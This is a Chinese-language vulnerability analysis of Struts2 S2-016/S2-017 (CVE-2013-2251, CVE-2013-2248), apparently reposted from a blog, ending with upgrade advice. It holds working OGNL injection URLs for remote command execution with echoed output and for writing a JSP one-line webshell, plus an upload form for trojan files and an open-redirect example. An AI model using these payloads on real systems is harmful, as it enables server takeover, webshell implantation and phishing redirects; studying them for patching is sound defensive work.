Struts2最新安全漏洞分析
Struts是Apache软件基金会Jakarta项目组的一个开源项目,它采用MVC模式,帮助java开发者利用J2EE开发Web应用。目前,Struts广泛应用于大型互联网企业、*、金融机构等网站建设,并作为网站开发的底层模板使用。7月17日,Apache官方公布了Struts最新的两个安全漏洞,一个是远程命令执行漏洞,另一个是重定向漏洞,并且在公布安全漏洞描述信息的同时,也公布了详细的PoC代码,这就导致了黑客利用官方公布的PoC代码快速编写出了漏洞利用程序。在7月17日漏洞公布当日就已经有大量的网站被检测出存在该安全漏洞,在我国著名的乌云漏洞平台就有白帽子公布了存在漏洞的站点,当日提交的部分漏洞列表截图如下图1所示。
图1 漏洞爆发当日乌云提交部分数据
图中也只是漏洞公布当天白帽子提交该漏洞的一小部分,从中我们也发现了包括百度、腾讯、京东等大型网站的漏洞信息,甚至还出现了银行站点的安全问题,所以可见该漏洞影响范围和影响力都是巨大的。文本将对该漏洞进行分析,描述黑客利用该漏洞可以做的事情,以及如何对该漏洞进行修补进行介绍。
漏洞概述
表1:CVE-2013-2251漏洞描述
表2:CVE-2013-2248漏洞描述
漏洞分析和利用
Apache官方提供的PoC测试代码如下图2所示。
图2 Apache官方提供的PoC测试代码
从提供的信息中,我们可以了解到通过导航前缀及重定向前缀的构造,可以将构造的数据作为OGNL表达式执行,而这种问题其实和以前公布的Struts远程代码执行漏洞的性质是一样的。结合以往的漏洞利用方式,我们的目的也就比较明确,就是可以在目标服务器环境中执行命令并将命令执行的结果反馈给我们。除此之外就是向服务器环境中写入我们自己的Webshell文件,这样通过Webshell进行操作就更加方便。接下来我们在自己安装的测试环境中对该漏洞进行测试,环境为Windows Server 2003 + Apache Tomcat + Struts2。
远程命令执行利用
我们根据提供的PoC代码构造一个简单的命令执行的URL,具体内容为http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc'})).start()}。这个URL的作用是在服务端执行命令calc,也就是执行一个计算器。从服务端的任务管理器中我们可以看到执行的结果,并且执行的用户名是SYSTEM,如下图3所示。
图3 任务管理器中查看创建的进程
但是这种简单的命令执行方式从客户端的浏览器环境中是看不到的,所以结合以往漏洞利用方式,我们通过构造URL将命令执行结果读入数据流中,然后再通过输出的方式在客户端进行展示,就实现了执行命令回显功能。我们再次构造提交的URL地址如下:http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}。其中whoami是我们想要执行的命令,如果执行命令的字符串中包含有空格,则需要将字符串按照空格分为多个字符串,并用逗号隔开即可。然后我们再次提交这个URL地址,就可以看到远程命令执行时返回的命令执行结果信息,如下图4所示。
图4 远程命令执行回显结果
获取Webshell利用
接下来,我们看一下如何利用远程命令执行漏洞写入自己的后门webshell文件。通过命令执行漏洞的利用写入文件时,我们首先需要知道目标网站所在的物理路径信息,我们可以通过getServletContext()获取Servlet上下文对象,再利用getRealPath()获取网站的绝对路径信息。然后,再将我们需要写入文件的名称及写入文件的内容进行提交,所以在构造URL时,我们要在获取网站根目录绝对路径的同时,构造需要写入文件的名称以及写入文件的内容,构造提交URL内容如下:http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22webshell.jsp%22).replaceAll("\\\\","/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22content%22)).close()}&content=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e。其中,webshell.jsp表示我们保存在根目录下的文件名称,content表示我们提交的字段名称及写入文件的内容信息。写入的内容为一句话JSP的小马,需要配合客户端脚本一起使用,提交的内容包括两部分内容,一部分内容是参变量f表示希望保存的文件名,另一部分内容是参变量t,表示希望保存文件的内容,我们构造本地HTML表单如下。
<form action="http://192.168.100.138:8080/struts2-blank/webshell.jsp" method="POST">
木马文件名:<input type="text" name="f" value="muma.jsp"><br />
木马文件内容:<textarea name="t" cols="100" rows="10"></textarea><br />
<input type="submit" value="提交">
</form>
然后在本地打开HTML文件,并填写希望保存的木马文件名和写入文件的内容并提交即可,如下图5、图6所示。
图5 本地构造表单并提交
图6 利用一句话木马上传得到的功能强大Webshell
重定向漏洞利用
相对于远程命令执行漏洞来说,重定向漏洞或许没有那么严重的危害,但是与获取敏感信息、远程命令执行及获取Webshell是对网站服务器本身造成危害不同,重定向漏洞的利用可能更多的是针对网民的攻击,如借助重定向漏洞实施的钓鱼攻击或网页挂马攻击等。重定向漏洞的利用比较简单,只需要在存在漏洞的URL地址后面加上重定向参数前缀及希望跳转到的地址即可,如http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:http://www.baidu.com,这个地址的作用是在用户访问这个存在漏洞的URL地址时,会自动跳转到百度首页。用户在访问过程中,实际上会产生一个302跳转,这个跳转过程我们可以通过第三方工具查看到,如下图7所示。
图7 重定向过程的302跳转
但是用户在使用浏览器过程中会没有任何提示就跳转到百度的首页,那么如果恶意黑客通过利用该漏洞恶意引导用户跳转到一个钓鱼网站或挂马链接的地址,就会对用户造成危害。
漏洞利用工具
随着Struts漏洞被越来越多的网络安全爱好者关注,漏洞利用方法也在网上被公布出来,网上已经出现了几十款针对该漏洞的利用工具,这些工具的漏洞利用原理都是类似的。我们挑选一款操作比较简单的漏洞利用工具给大家进行演示。
漏洞利用工具使用时不需要我们输入过多的漏洞利用字符串,只需要将存在漏洞的URL地址直接复制粘贴到工具中点击相应的按钮操作就可以了。首先我们需要验证一下目标地址是否存在S2-016/S2-017漏洞。如下图8所示,验证我们的测试环境确实存在该漏洞。
图8 利用工具验证漏洞是否存在
然后我们选择执行命令,查看当前网站所在的物理路径,方便我们在写入webshell时进行操作,我们点击获取信息按钮即可获取当前网站目录信息如下图9所示。
图9 利用工具获取网站绝对路径
然后我们对当前用户信息进行查看,通过执行命令whoami查看当前用户信息,如下图10所示。
图10 利用工具远程执行命令
从图中我们发现当前用户的权限是system权限,也就是系统的最高权限。然后我们进一步通过获取webshell功能上传一个JSP的一句话木马,方便我们日后上传功能更强大的webshell实施进一步渗透攻击。点击GetShell功能后,提示我们上传文件成功,如下图11所示。
图11 利用工具获取Webshell
在服务端我们查看网站根目录,发现了刚刚使用工具上传的一句话Webshell的信息,如下图12所示。
图12 服务端查看获取到的webshell
至此,我们就已经通过使用漏洞利用工具利用该远程命令执行漏洞实现了测试目标网站环境是否存在安全漏洞,并借助漏洞获取Webshell及系统最高权限。在实际的网络攻击渗透过程中,这些只是黑客入侵的开始,黑客会借助获取到的权限和Webshell对目标网站实施进一步的渗透攻击、隐匿自身并不断得盗取目标环境的敏感数据信息。
漏洞防范
通过上述我们对漏洞的分析和漏洞利用的描述,我们了解了该漏洞在实际网络环境中带来的安全隐患是非常严重的。Apache官方在公布漏洞信息的同时也给出了相应的安全解决方案:使用Struts 2.0.0 版至Struts 2.3.15版本的用户,只需要将Struts升级到Struts 2.3.15.1版本即可修复该漏洞,补丁的下载地址在http://struts.apache.org/download.cgi#struts23151。希望使用存在安全漏洞版本Struts的站长在浏览文本后尽快将Struts 升级到最新的2.3.15.1版本,以避免可能遭遇的严重安全威胁。
转载于:https://my.oschina.net/Sallens/blog/311506